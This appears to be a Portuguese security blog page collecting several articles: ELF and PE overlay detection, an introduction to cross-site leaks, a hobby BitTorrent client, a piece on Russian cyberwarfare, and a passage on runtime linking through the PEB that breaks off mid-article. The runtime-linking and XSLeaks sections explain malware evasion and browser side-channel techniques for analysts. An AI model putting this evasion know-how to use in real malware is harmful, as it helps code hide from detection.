Jump to content
No artigo anterior, mostrei como detectar overlays em executáveis PE. Se você não sabe o que é um overlay, é melhor ler o artigo anterior antes de seguir com esse. Hoje vamos incluir os usuários de Linux na brincadeira. 🐧
Vamos então ver como fazemos a mesma coisa para executáveis - na verdade qualquer tipo de object file - ELF.
A lógica é a mesma: primeiro, temos que descobrir como calcular o tamanho original de um executável ELF a partir de seus cabeçalhos. Então vamos dar uma olhada no executável do ls aqui, que tem 147176 bytes de tamanho:
$ wc -c /bin/ls 147176 /bin/ls Claro que no seu ambiente o tamanho pode ser diferente.
Agora vou criar um binário chamado novo que terá a mesma imagem, dale.jpg usada no artigo anterior, como overlay (ou seja, adicionado após o fim do arquivo). Isso pode ser feito com o comando cat, que concatena arquivos:
$ cat /bin/ls dale.jpg > novo Perceba que o tamanho do arquivo novo é exatamente a soma dos tamanhos dos arquivos /bin/ls e dale.jpg:
$ wc -c /bin/ls dale.jpg 147176 /bin/ls 4347 dale.jpg 151523 total $ wc -c novo 151523 novo Já temos então um ELF com overlay (dados além de seu tamanho original).
Detectando overlays
Para detectar um overlay no ELF, a lógica é bem similar à que usamos para os executáveis PE. A diferença é que no caso do ELF, existe um campo no cabeçalho que nos dá o offset no arquivo, ou seja, a posição no arquivo em disco, de onde começam os cabeçalhos das seções. Veja com a opção -h do readelf:
$ readelf -h novo ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Position-Independent Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x6180 Start of program headers: 64 (bytes into file) Start of section headers: 145256 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 11 Size of section headers: 64 (bytes) Number of section headers: 30 Section header string table index: 29 Como nos binários ELF os cabeçalhos de seção vêm depois de seu conteúdo, é seguro assumir que o tamanho original do arquivo é calculado pela seguinte fórmula:
início dos cabeçalhos de seção + tamanho do cabeçalho de seção * número de cabeçalhos de seção
A mesma saída do readelf nos mostra o tamanho de cabeçalhos de seção (64) e o número de cabeçalhos de seção (30). Sendo assim, o tamanho original do arquivo é:
145256 + 64 * 30 = 147176 (0x23ee8)
Logo, qualquer coisa além do byte 0x23ee7 é overlay.
Dá até pra gente extrair o overlay com o dd, usando um block size (bs) do tamanho dele e a opção skip para pular exatamente um bloco:
$ dd if=novo of=novo.overlay bs=147176 skip=1 0+1 records in 0+1 records out 4347 bytes (4.3 kB, 4.2 KiB) copied, 0.000570537 s, 7.6 MB/s O overlay extraído tem que ter exatamente o conteúdo de dale.jpg. Seu tamanho e hash comprovam o feito:
$ wc -c novo.overlay dale.jpg 4347 novo.overlay 4347 dale.jpg 8694 total $ md5sum dale.jpg novo.overlay 84a33c81345eb161327696a8d305d728 dale.jpg 84a33c81345eb161327696a8d305d728 novo.overlay Dúvidas é só comentar. Bons estudos!
  • 3,172 views
Antes de começar, é necessário explicar o que é um overlay, já que este é um termo genérico empregado em diferentes contextos. Pois bem, na análise de malware o termo diz respeito a quaisquer dados adicionados ao final de um arquivo PE. Aqui, entenda o final do arquivo como o último byte dele. Por exemplo, tomemos o executável write.exe, do Wordpad no Windows 10. No caso aqui, criei uma cópia dele para a área de trabalho, para facilitar. Perceba que ele tem 11264 bytes:
C:\Users\admin\Desktop>copy c:\Windows\System32\write.exe . 1 file(s) copied. C:\Users\admin\Desktop>dir write.exe 06/12/2019 18:29 11,264 write.exe 1 File(s) 11,264 bytes Agora vamos adicionar algo ao final do arquivo, ou seja, acrescentar algo, aumentando seu tamanho. Isso pode ser qualquer coisa. No contexto de malware, normalmente se acrescenta outros executáveis ou shellcodes, mas qualquer coisa para o nosso exemplo serve. Usarei uma imagem de 4347 bytes:
C:\Users\admin\Desktop>dir dale.jpg 26/08/2022 15:40 4,347 dale.jpg 1 File(s) 4,347 bytes 0 Dir(s) 39,704,485,888 bytes free Apesar de existirem programas criados especificamente para isto chamados de binders, o próprio comando copy consegue adicionar um overlay com a opção /b e o separador +. No exemplo abaixo, crio um arquivo chamado novo.exe, que será formado pelo conteúdo do arquivo write.exe seguido do conteúdo do arquivo dale.jpg:
C:\Users\admin\Desktop>copy /b write.exe + dale.jpg novo.exe write.exe dale.jpg 1 file(s) copied. O exectuável novo.exe funciona normalmente, pois possui uma cópia exata do original write.exe logo em seu início e somente depois do último byte é que começa o primeiro byte do arquivo dale.jpg. Se o write.exe possui 11264 bytes de tamanho, significa que seu conteúdo vai do byte 0 ao byte 11263. Depois disso, iniciando no byte 11264, há o conteúdo do dale.jpg, que é considerado um overlay pelas razões já explicadas.
Perceba também que o tamanho do novo.exe é exatamente a soma dos tamanhos de write.exe e dale.jpg:
C:\Users\admin\Desktop>dir write.exe dale.jpg 06/12/2019 18:29 11,264 write.exe 26/08/2022 15:40 4,347 dale.jpg 2 File(s) 15,611 bytes C:\Users\admin\Desktop>dir novo.exe 26/08/2022 15:44 15,611 novo.exe 1 File(s) 15,611 bytes Detectando overlays
Vários softwares detectam a presença de overlays. Por exemplo, ao abrir o novo.exe no DIE, ele detecta o overlay, tornando o botão abaixo clicável:

DIE habilita o botão Overlay quando há dados acrescentados num aquivo PE
Existe mais de uma forma de detectar a presença de overlays. A mais famosa funciona assim:
Busca-se a "última" seção do executável, ou seja, a que vem depois de todas as outras, que naturalmente estará mais perto do fim do arquivo que todas as outras. Uma vez que a última seção seja identificada, anota-se o offset dela no arquivo, ou seja, onde ela começa no arquivo (não é em memória, mas sim no arquivo em disco). O valor anterior é somado com o tamanho dessa seção (também em disco). O resultado é o tamanho original do arquivo. Qualquer coisa a mais no arquivo é considerado overlay. Por exemplo, para o executável novo.exe, vejamos as seções (dá no mesmo aqui olhar no write.exe) com o DIE:

Informações das seções do arquivo novo.exe no DIE
A seção que tiver o maior valor no campo PointerToRawData de seu cabeçalho é a última. Note que não necessiamente ela será a última seção na lista, mas normalmente é o que acontece. No caso deste binário PE, é a seção .reloc. Sendo assim, para obter o tamanho original do arquivo PE, basta somar o byte no arquivo onde a seção começa (valor de PointerToRawData) com seu tamanho no arquivo (valor de SizeOfRawData). Fazendo a conta:
0x2a00 + 0x200 = 0x2c00 (11264 em decimal)
Portanto, qualquer coisa além do byte 0x2bff (que é 0x2c00 - 1) no arquivo é overlay. Exatamente por isso o DIE começa a exibir do byte 0x2c00 se você clicar no botão Overlay:

DIE exibindo o overlay
Executáveis contendo dados além de seu tamanho original podem levantar suspeitas, mas há usos legítimos para este recurso, como na assinatura digital. No entanto, fica a cargo da pessoa que analisa verificar o que tem no overlay e se o código do arquivo lê algo a partir de lá ou não. Quem usa YARA pode se beneficiar da sua capacidade de detectar overlays que adicionei na versão 3.6.0.
Para deixar o assunto ainda mais fácil, gravei um vídeo resumindo e mostrando o que está neste artigo em ação:
Bons estudos!
 
  • 2,525 views
Este artigo tem como objetivo introduzir o conceito de XSLeaks e explicar alguns dos ataques mais comuns dessa nova classe de vulnerabilidades web, além de trazer exemplos concretos de problemas que foram achadas no mundo real.
O que é a same-origin policy?
Antes de introduzir o conceito de XSLeaks, é necessário primeiro entender o que é a same-origin policy e seu objetivo.
Ela é uma das principais políticas de segurança da web e restringe como documentos e scripts carregados por uma origem podem interagir com recursos de outras origens.
A same-origin policy determina que apenas sites que possuem a mesma origem (<scheme> :// <hostname> [ : <port> ]) podem ler um ao outro, e que sites de origens diferentes são impedidos de fazer o mesmo.
Um site malicioso, por exemplo, é impedido de ler a resposta do site bancário de outros usuários, já que a origem do site do atacante é diferente do site do banco.
A imagem abaixo (em inglês) ajuda a ilustrar o exemplo descrito acima.

 
É importante notar que apesar de não ser possível ler a resposta de sites de origens diferentes, ainda assim é possível fazer uma requisição. É por esse mesmo motivo que ataques como Cross-site request forgery (CSRF) existem, já que o atacante não está preocupado em ler a resposta, e sim, em realizar uma mudança de estado em uma aplicação de outra origem.
O que são os XSLeaks?
Cross-site leaks (XSLeaks) é uma classe de vulnerabilidades relativamente nova que utilizam os diversos canais laterais (side-channels) existentes na web para vazar informações de outras origens sem infringir na same-origin policy.
Ataques que miram tais vulnerabilidades abusam da habilidade limitada que origens diferentes tem de interagir umas com as outras, em conjunto com as diversas funcionalidades implementadas pelos navegadores (navegações, requisições, enviar mensagens, APIs específicas) para inferir dados dos usuários através das informações que acabam sendo expostas por essas funcionalidades.
Os dados vazados durante os ataques de XSLeaks são bastante variados e dependem do tipo da aplicação.
Alguns dos mais comuns são:
1. Estado do usuário (logado, deslogado).
2. Vazamento da identidade do usuário.
3. Vazamento do resultado de pesquisas na aplicação.
 
 Tipos de ataques
 Ataques de tempo
Os ataques de tempo foram um dos primeiros ataques de canal lateral na web a serem explorados e datam mais de 13 anos (https://scarybeastsecurity.blogspot.com/2009/12/cross-domain-search-timing.html).
A ideia é relativamente simples: uma página maliciosa faz requisições para páginas de outras origens e mede o tempo que cada requisição demora para concluir.
Requisições com respostas maiores demoram mais tempo para concluir do que respostas menores. 

 
Com isso, um atacante pode inferir informações sobre o estado da página — por exemplo, se um atacante realizasse o ataque em uma aplicação que quando o usuário está logado na sua conta a resposta é maior que quando ele não está, ele seria capaz de vazar essa informação apenas medindo a variação de tempo que as requisições demoram para concluir e comparando-as.
Um problema bastante comum nos ataques de tempo é sua sensibilidade à instabilidade da rede, o que resulta na necessidade de um grande número de requisições e medições para que se tenha certeza estatística da estimativa do tamanho das respostas.
Contagem de iframes
Existem alguns atributos de janelas que são expostos para páginas de outras origens e, apesar de serem poucos, um deles em especial pode ser utilizado como oráculo para inferir informações.
Por exemplo, o atributo length serve para medir a quantidade de iframes em uma janela e pode ser acessado através de uma referência para uma janela ou iframe.

 
Esse ataque é útil em páginas que possuem iframes e o que pode ser inferido vai depender de cada aplicação.
Eventos de erro
Toda vez que uma requisição é feita, o servidor a processa e determina qual é o status code (https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Status) da resposta que será enviada.
O navegador permite que qualquer página infira o valor do status code (de forma limitada) através de diversas formas. Uma delas é através dos eventos load e error.

 
Se uma requisição é carregada dentro de uma tag script, por exemplo, e o status code da resposta retornada está na faixa de 2xx, o evento de load será emitido. Já se a resposta estiver na faixa de 4xx, o evento de error será emitido.
Um exemplo clássico desse ataque é deduzir se o usuário está logado ou não em uma aplicação — na maioria das vezes a aplicação retorna o status code 401 ou 404 se uma rota é acessada sem o usuário estar autenticado e retorna o status code 200 quando o usuário está autenticado.
Utilizando esse ataque seria possível vazar essa informação.
Sondagem do cache
A ideia por trás da sondagem do cache se resume em detectar se um recurso de outra origem foi cacheado pelo browser ou não.
Antigamente os ataques elaborados consistiam em vazar o histórico de navegação das vítimas checando se imagens de sites populares estavam armazenadas no cache do usuário (o que indicava que o usuário já havia acessado aquele site), mas com a evolução de pesquisa sobre esse tipo de ataque e com a descoberta da técnica de expulsão do cache (http://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html), os ataques se tornaram mais severos.
O ataque é realizado medindo o tempo que uma requisição demora para concluir — se a resposta vier do cache o tempo será muito pequeno. Se vier da rede, será maior.
 
Exemplos de ataques no mundo real
No artigo Facebook exploit – Confirm website visitor identities, o pesquisador utilizou a técnica de escutar os eventos de erro para vazar a identidade do usuário que estava acessando a página maliciosa.  
Já no artigo XS-Searching Google’s bug tracker to find out vulnerable source code o pesquisador utilizou uma variação do ataque de tempo (utilizando a Cache API) para medir o tempo que as respostas demoravam para serem adicionadas no cache e assim vazar informações sobre relatórios privados do issue tracker do Google.  
Em Patched Facebook Vulnerability Could Have Exposed Private Information About You and Your Friends o pesquisador utilizou a técnica de contagem de frames para vazar informações pessoais da conta do Facebook do usuário.  
No artigo Mass XS-Search using Cache Attack o pesquisador utilizou a sondagem do cache para vazar informações de diversos serviços do Google, incluindo o histórico de pesquisa do usuário, vídeos assistidos, notas privadas, etc.  
No artigo Google Books X-Hacking, o pesquisador utilizou a técnica de contagem de frames (com a ajuda do XSS Auditor) para vazar os livros que o usuário havia pesquisado, coleções privadas, livros comprados e livros lidos.  
Para saber mais:
https://xsleaks.dev
https://github.com/xsleaks/xsleaks
https://portswigger.net/daily-swig/xs-leak
 
 
   
  • 2,438 views
Introdução
Você, muito provavelmente, já precisou baixar um arquivo torrent na internet. Mesmo que a primeira coisa que tenha pensado quando disse isso seja algo relacionado a pirataria e coisas do gênero. Apesar da má fama que os torrents têm, em alguns casos é conveniente seu uso, como quando se vai baixar alguma distribuição baseada em linux. Para isso, se faz necessário o uso de algum cliente bittorrent. Os mais populares são: uTorrent, qBittorrent e o Bittorrent (não confundir com o protocolo). Sendo o segundo que uso e recomendo. Interessado em como funcionavam, sobre o protocolo usado, pensei que seria uma boa ideia criar o meu próprio cliente de bittorrent. É justamente isso que venho tratar nesse artigo.
Sobre o BitTorrent
Antes de falar do cliente em si, precisamos ter uma noção geral do BitTorrent. Trata-se de um protocolo de compartilhamento de arquivos de forma distribuída e descentralizada. Por exemplo, imagine que um usuário quer compartilhar um arquivo music.mp3 na rede. Através do protocolo BitTorrent, este arquivo será fragmentado e cópias destes fragmentos serão compartilhadas com os nós da rede, também chamados de peers. Assim, quando um peer (podemos chamar nesse caso de leecher) solicitar o arquivo, ele requisitará cada fragmento (não necessariamente na mesma ordem) e remontará o arquivo original. Durante o processo de download, o leecher também pode assumir o papel de um seeder, funcionando como um distribuidor dos fragmentos já baixados.
A seguinte imagem ilustra o esquema acima:

https://blog.passwork.pro/what-is-bittorrent/
 
Há muitos outros detalhes sobre o protocolo BitTorrent que optei por deixar de lado, uma vez que este artigo é sobre o desenvolvimento de um software cliente e não sobre o protocolo em si. No entanto, os interessados podem buscar a documentação oficial do mesmo.
Motivações
Naturalmente a vontade de escrever um cliente de BitTorrent não veio do nada, ela foi sendo desenvolvida desde o começo do ano de 2021, quando comecei a me interessar mais pelo assunto de redes de computadores, graças a um  professor meu na época. Isso acabou me motivando a querer estudar mais sobre o assunto, e claro, acabei caindo no tópico de redes distribuídas, P2P (Peer-to-Peer) e eventualmente no protocolo BitTorrent.
Primeiro projeto 
Este primeiro projeto trata de uma rede de compartilhamento de arquivos. Nele, fui derivando as coisas com as noções que tinha até aquele momento e adicionava o que acreditava necessário. Esse ainda não era um cliente BitTorrent. Na época, não tive um contato mais aprofundado com protocolo. Após cerca de dois meses, consegui fazer com que funcionasse de forma mínima ainda que com alguns bugs, esse projeto da rede de compartilhamento de arquivos. Graças a isso tive uma melhor noção de como redes distribuídas funcionam na prática. Caso queira ver o código, basta acessar o repositório aqui.
Desenvolvimento do cliente BitTorrent
Quando considerei fazer o projeto estava tendo contato com uma nova linguagem de programação, C#, então decidi unir o útil ao agradável e fazer um cliente BitTorrent usando-a. Inicialmente pretendia implementar todo o protocolo. No entanto, percebi, após alguns dias tentando implementar que, seria uma uma tarefa árdua e que demandaria muito tempo. Acabei obtendo como resultado um parser de arquivos torrent que, embora simples, era funcional. No fim, acabei não dando segmento a implementação de todos os requisitos do protocolo, mas caso você tenha vontade de implementar  ou apenas interesse em ver mais detalhes sobre o protocolo, recomendo começar lendo as BitTorrent Enhancement Proposals (BEPs) e caso queira fazer usando C#, recomendo também este artigo no qual me baseei.
Nesse momento, pensei que deveria haver alguma biblioteca que cuidasse disso para mim e comecei a pesquisar. Encontrei uma chamada MonoTorrent, que parecia boa e completa. O único problema era que o projeto estava abandonado e não tinha uma documentação atualizada. Resolvi então ler o código fonte da biblioteca, já que, havia alguns exemplos, mas que já eram suficientes. Dedici por trabalhar em uma casca (wrapper), uma interface para a biblioteca apenas. Durante o desenvolvimento desse projeto, aproveitei para tentar criar uma interface gráfica também, tirando proveito da linguagem que estava usando e de suas facilidades para tal. Acabei por me desvincular da ideia tendo em vista o resultado e seguir sugestões de apenas seguir com a versão CLI, que já se encontrava funcional.
O projeto hoje
Eu já o considero pronto, em um estado usável. Devo dizer também que não pretendo dar suporte nem manutenção, tendo em vista que o objetivo foi apenas educacional. O código-fonte está disponível no GitHub e a seguir mostrarei o uso do cliente. 
Ao executar o programa na linha de comando sem nenhum argumento, o seguinte menu de ajuda é exibido:

Menu de ajuda do cliente de BitTorrent
 
As opções são bem simples. A mais importante é a opção a -l/--load, usada para carregar um arquivo do tipo .torrent, que contém informações sobre que arquivos baixar. Ela também suporta um link (Magnet) ou um hash.
Neste exemplo a seguir, vemos o cliente de BitTorrent baixando a partir de um arquivo .torrent. Antes de fazer o download, o cliente mostra as informações do arquivo final e pergunta ao usuário se quer ou não prosseguir com o download:


Fazendo o download do arquivo
 
Comparativo com outros clientes de BitTorrent existentes
Apesar de ser um projeto para fins didáticos e de estudos, ainda apresenta uma coisa que considero vantajosa: a simplicidade. Ao mesmo tempo, pode ser visto como uma desvantagem, tendo em vista que alguns recursos mais sofisticados não estão presentes. A velocidade também não é das melhores, uma vez que não implementei otimização alguma. No entanto, em situações onde o usuário não possua interface gráfica, esse cliente pode ser de grande ajuda. Além disso, ele pode lhe ser útil, como foi para mim, como um grande auxiliar de estudos de protocolos, já que o código é aberto. Bons estudos!
Referências:
https://pt.wikipedia.org/wiki/BitTorrent
https://blog.passwork.pro/what-is-bittorrent/
http://www.bittorrent.org/beps/bep_0000.html
https://github.com/FallAngel1337/P2P-File-Sharing
https://github.com/FallAngel1337/BitTorrentClient
  • 2,651 views
A ofensiva militar da Rússia contra a Ucrânia teve início no dia 24 de fevereiro. Há quase cinco meses, o ataque causou a morte de cinco mil civis, segundo a ONU, que alerta para a possibilidade de esse número ser bem maior, e a fuga de 16 milhões de ucranianos das cidades atacadas, sendo 5,7 milhões para fora do país. 
Logo no início da guerra, junto da ofensiva bélica, a Rússia utilizou ciberarmas em sua estratégia de ataque, desestabilizando serviços bancários, de defesa e de segurança,  distraindo o foco do avanço do exército russo ao território ucraniano. 
Os ataques cibernéticos foram relatados pelas agências de inteligência do Reino Unido, a National Cyber Security Center (NCSC) e dos Estados Unidos, a National Security Agency), aliados da Ucrânia, e outros ataques ao longo dos meses se sucederam, deixando o mundo em alerta diante do poder russo. 
A guerra da Rússia coloca um holofote na possibilidade de uma ciberguerra, no entanto, a hostilidade no ambiente cibernético entre os países já acontece, com alguns episódios de ataques estratégicos e espionagem. 
Vale entender o que se tem de informação, como a inteligência russa está organizada e armada, como se deu os ataques no início do ano, e como grupos hackers estão se envolvendo nessa guerra, dos dois lados da disputa. 
 
O contexto da ciberguerra
O primeiro ciberataque de grandes proporções a um país aconteceu em 2007, na Estônia. Quando o governo estoniano decidiu remover a estátua símbolo da vitória soviética sobre o nazismo de lugar, representantes russos se manifestaram contra a medida. 
No mesmo dia que a estátua foi removida, os sites do governo estoniano sofreram ataques distribuídos de negação de serviços (DDoS, na sigla em inglês) e ficaram indisponíveis por horas. Como a Estônia já era um país digitalizado, com muitos dos serviços sendo feitos pela internet, a população sentiu os efeitos desses ataques. A ofensiva foi atribuída à Rússia, mas investigações mostraram que o governo russo não estava envolvido, e a origem dos ataques é desconhecida até hoje.
Depois desses ataques, os países começaram a compreender as vulnerabilidades envolvidas num país absolutamente conectado e reforçaram suas defesas.  
“O ambiente cibernético sempre foi hostil em todos os países, que mantêm suas estruturas de inteligência e de ataque, e um monitora o outro. Agora isso só ficou mais evidente”, analisa Carlos Cabral, pesquisador de cibersegurança.
No contexto Rússia-Ucrânia, a Ucrânia é tida como um laboratório de testes dos hackers russos, para testar técnicas e ferramentas. Em 2015, com o BlackEnergy, 80 mil pessoas ficaram sem luz no oeste da Ucrânia, devido a ataques à rede elétrica. Um ano depois, foi a vez de parte de Kiev, capitão ucraniana ficar sem luz por uma hora. 
E em 2017, foi a vez do maior ataque cibernético global, o NotPeya, em que um malware foi instalado na atualização de um software de contabilidade muito usado por empresas ucranianas. O ataque começou pela Ucrânia, e se espalhou rapidamente, atingindo 300 mil computadores em 150 países, resultando em prejuízo de US $10 bilhões. E mais uma vez, o ataque foi atribuído a hackers militares russos. 
Os ataques russos 
Alguns dias do início da invasão russa, um relatório do National Cyber Security Centre (NCSC), agência de inteligência do Reino Unido, em conjunto com agências de inteligência americanas e empresas, apontou a detecção de um malware que tinha como alvo roteadores da Watchguard, formando uma botnet modular avançada. O malware foi chamado de Cyclops Blink e foi considerado uma evolução do VPNFilter, revelado em 2018 pela Cisco. 
Em março houve uma atualização do estudo sobre o malware, em que a Trend Micro detectou também a presença do vírus em roteadores da ASUS. A autoria do malware foi atribuída ao grupo hacker Sandworm, apoiado pelo Estado russo. 
A análise demonstra um alto preparo do exército cibernético russo, tanto em desenvolvimento quanto em estratégia. 
“A botnet mostra uma alta sofisticação de programação em baixo nível. E um nível de conhecimento de sistemas operacionais, no caso Linux, muito alto também. Sem falar na modularidade, a ideia do software que trabalha com plug ins, uma engenharia digna dos melhores programas do mundo, super modulares,  flexíveis, e adaptáveis para futuros ataques. São softwares muito bem feitos, que poderiam causar um alto impacto de ataques, tanto em variedade de vítimas quanto de dispositivos alvo”, explica Fernando Mercês, pesquisador de segurança da Trend Micro. 
 
A organização hacker militar russa 
Para entender a potência do armamento russo no ciberespaço, é importante também entender a organização dessa inteligência dentro do governo russo. Se você gosta de assistir filmes de guerra, ações de espionagem, e coisas do gênero, vai ver que isso é muito mais real do que pensa. 
Como é de conhecimento geral, todo país tem uma unidade de inteligência. A origem das agências de inteligência russas foi no regime czarista com a polícia secreta chamada de Okhrana.

Dirigentes da Okhrana em 1905. Fonte: Wikipedia
Durante a Segunda Guerra Mundial, ainda como União Soviética, surgiu o grupo paramilitar denominado Tcheka (ou Cheka), que depois deu origem à famosa KGB. Com o fim da URSS, surgiu o Serviço Federal de Segurança Russa (FSB), e dentro dele existe o GRU, um serviço de inteligência ligado ao Ministério da Defesa. 
Dentro do GRU, existe um Centro de Tecnologias Especiais, o GTSST. Dentro desse grupo, existem algumas unidades cibernéticas, a mais conhecida delas é a Unidade 74455. E como ela é conhecida? Pelos ataques que realizaram pelo mundo. Mas a 74455 é mais conhecida pelo nome de Sandworm. Aliás, esse nome vem das referências ao livro de Sci-Fi Duna, encontradas em seu primeiro malware.
“São grupos contratados com essa função de desenvolver ciberarmas, desde tentar destruir e parar completamente a infraestrutura crítica de países, como fizeram na Ucrânia, até o mais atual, de BotNet, as Redes de Robôs, e as Redes Zumbi”, explica Mercês.
Vários oficiais do GRU já foram identificados pelas agências de inteligência norte-americanas, incluindo seis deles indicados em 2020.

Oficiais do GRU indiciados pelo Departamento de Justiça norte-americano. Fonte: DoJ.
E vale lembrar que a Rússia não é uma potência isolada no universo cibernético. Junto com ela figuram velhos conhecidos como Estados Unidos, Coreia do Norte, China e Irã. Além de muitos outros países europeus que aprenderam a transitar nesse espaço depois de serem alvo de ataques. O que rege esse universo são questões políticas, onde a tecnologia é mais uma arma para atender os interesses das nações envolvidas.  
Por outro lado, a guerra atual não conta só com a força das organizações russas. Grupos hackers têm se envolvido em ataques dos dois lados da disputa. No início da invasão russa, um dos principais grupos hackers especializado em ransomware, o Conti, publicou no Twitter total apoio às ações do governo russo, e ameaçou a atacar infraestrutura crítica de países que se opuserem a isso. A publicação gerou retaliação dentro do próprio grupo, que criou a conta @ContiLeaks e vazou informações sobre o funcionamento da organização. 
Do lado oposto, o grupo Anonymous declarou apoio à Ucrânia, reivindicando ataques em DDoS contra o governo e instituições russas. Além de grupos ciberativistas de diferentes localidades que manifestaram apoio aos ucranianos, e outros que se posicionaram a favor da Rússia. 
Ou seja, uma guerra que vai muito além da luta entre forças armadas e governos. No cenário cibernético hackers preparados se digladiam. E quem não entende muito do assunto, segue achando que parece assunto de ficção. “Essa perspectiva de ficção às vezes faz com que a interpretação de pessoas que estão tão lá no topo seja equivocada. Ou pra mais ou pra menos, acham que podem acontecer ataques cinematográficos, e exageram, ou acham que são ataques cinematográficos, e isso não acontece aqui. No meio do caminho é que está a solução”, finaliza Cabral. 

  • 1,568 views
Introdução
No artigo de hoje falaremos sobre uma das técnicas mais utilizadas por malwares: a técnica de “Runtime Linking”. Como as aulas 19 e 20 do nosso curso do AMO já deram uma introdução bem legal sobre o assunto, esse artigo será um complemento e nosso foco será em uma forma mais “crua” e “escondida” de se utilizar/implementar esta técnica que é sem utilizar função alguma da API do Windows.
Lembrando que assim como a maioria das técnicas apresentadas nessa série de artigos, a Runtime Linking também pode ser utilizada de forma legítima, o que de fato é bem comum.
Definição
Tanto a definição quanto a implementação desta técnica acabam sendo tão simples quanto o seu nome. A técnica se resume basicamente em resolver o endereço de uma ou mais funções em tempo de execução. Para criadores de malware, as vantagens de se utilizar esta técnica são duas: evitar que componentes como a tabela de importação deem alguma ideia do que o binário possa fazer e tornar a análise do malware mais difícil.
Até aí beleza, isso já foi explicado no curso do AMO, certo? Relembrando um pouco do que foi falado lá no AMO: a função LoadLibrary é utilizada para carregar uma DLL no espaço de endereço de um processo e a função GetProcAddress é utilizada para pegar o endereço de uma função exportada por uma DLL carregada. 
Considerando binários linkados dinamicamente, o que é super comum no Windows, se essas duas funções forem chamadas diretamente por tal binário, elas estarão presentes em sua tabela de importação e, consequentemente, poderão levantar alguma suspeita em relação à técnica em si sendo utilizada.
Para que estas funções não fiquem tão expostas na tabela de importação, elas não podem ser chamadas diretamente via API do Windows, ou seja, o endereço dessas funções precisa ser obtido de alguma forma em tempo de execução a fim de evitar que o loader preencha os endereços destas funções na tabela de importação (IAT) do binário em tempo de carregamento.
Até o fim deste artigo veremos que na verdade não precisamos do endereço da função GetProcAddress e às vezes nem mesmo da LoadLibrary, mas vamos ignorar isto por agora.
Process Environment Block (PEB)
Durante a criação de um processo no Windows, quando ainda em kernel-mode, é criada uma estrutura chamada Process Environment Block, também conhecida como PEB. Por mais que esta estrutura seja criada dentro na system call NtCreateUserProcess (mais especificamente na função MmCreatePeb) e possua informações importantes relacionadas ao processo como um todo, ela é uma das únicas estruturas consideradas “de sistema” que é exposta e disponível em user-mode. Esta exposição em user-mode é devido ao fato que tais informações importantes são utilizadas por diversos componentes que residem em user-mode, tais como o Heap Manager. Se estes componentes tivessem que acessar tais informações via system calls, seria muito "caro" do ponto de vista de performance.
Em user-mode, o endereço desta estrutura pode ser obtido através de um campo chamado ProcessEnvironmentBlock dentro de uma outra estrutura chamada Thread Environment Block (TEB), que possui seu endereço carregado por padrão, para cada thread, no registrador FS em x86 ou GS em x64. Não vamos entrar em detalhes sobre o que é a TEB neste artigo, mas é importante sabermos que no offset 0x30 a partir do endereço no registrador FS (x86) ou 0x60 do registrador GS (x64) obtemos um ponteiro para a PEB. 
Abaixo estão as definições de ambas as estruturas utilizando o WinDbg em um binário compilado para 64 bits. Não me preocupei em colocar toda a saída do comando aqui, uma vez que são estruturas bem grandes e os campos que nos interessam estão no começo das estruturas:
0:010> dt _TEB    +0x000 NtTib            : _NT_TIB    +0x038 EnvironmentPointer : Ptr64 Void    +0x040 ClientId         : _CLIENT_ID    +0x050 ActiveRpcHandle  : Ptr64 Void    +0x058 ThreadLocalStoragePointer : Ptr64 Void    +0x060 ProcessEnvironmentBlock : Ptr64 _PEB    +0x068 LastErrorValue   : Uint4B    +0x06c CountOfOwnedCriticalSections : Uint4B    +0x070 CsrClientThread  : Ptr64 Void    +0x078 Win32ThreadInfo  : Ptr64 Void    +0x080 User32Reserved   : [26] Uint4B    +0x0e8 UserReserved     : [5] Uint4B    +0x100 WOW32Reserved    : Ptr64 Void [...] 0:010> dt _PEB    +0x000 InheritedAddressSpace : UChar    +0x001 ReadImageFileExecOptions : UChar    +0x002 BeingDebugged    : UChar    +0x003 BitField         : UChar    +0x003 ImageUsesLargePages : Pos 0, 1 Bit    +0x003 IsProtectedProcess : Pos 1, 1 Bit    +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit    +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit    +0x003 IsPackagedProcess : Pos 4, 1 Bit    +0x003 IsAppContainer   : Pos 5, 1 Bit    +0x003 IsProtectedProcessLight : Pos 6, 1 Bit    +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit    +0x004 Padding0         : [4] UChar    +0x008 Mutant           : Ptr64 Void    +0x010 ImageBaseAddress : Ptr64 Void    +0x018 Ldr              : Ptr64 _PEB_LDR_DATA    +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS    +0x028 SubSystemData    : Ptr64 Void    +0x030 ProcessHeap      : Ptr64 Void    +0x038 FastPebLock      : Ptr64 _RTL_CRITICAL_SECTION    +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER [...] Existem várias formas de se obter o endereço da PEB de um processo na prática, tanto programaticamente quanto utilizando alguma ferramenta. Abaixo estão listados alguns exemplos de como fazer isto:
Utilizando as funções intrínsecas readgsqword() e readfsdword(): #if defined(_WIN64)     return (PPEB)__readgsqword(0x60); #else     return (PPEB)__readfsdword(0x30); Diretamente em Assembly: mov rax, gs:[60h] ; x64 mov eax, fs:[30h] ; x86 Utilizando o comando dump no x64dbg:
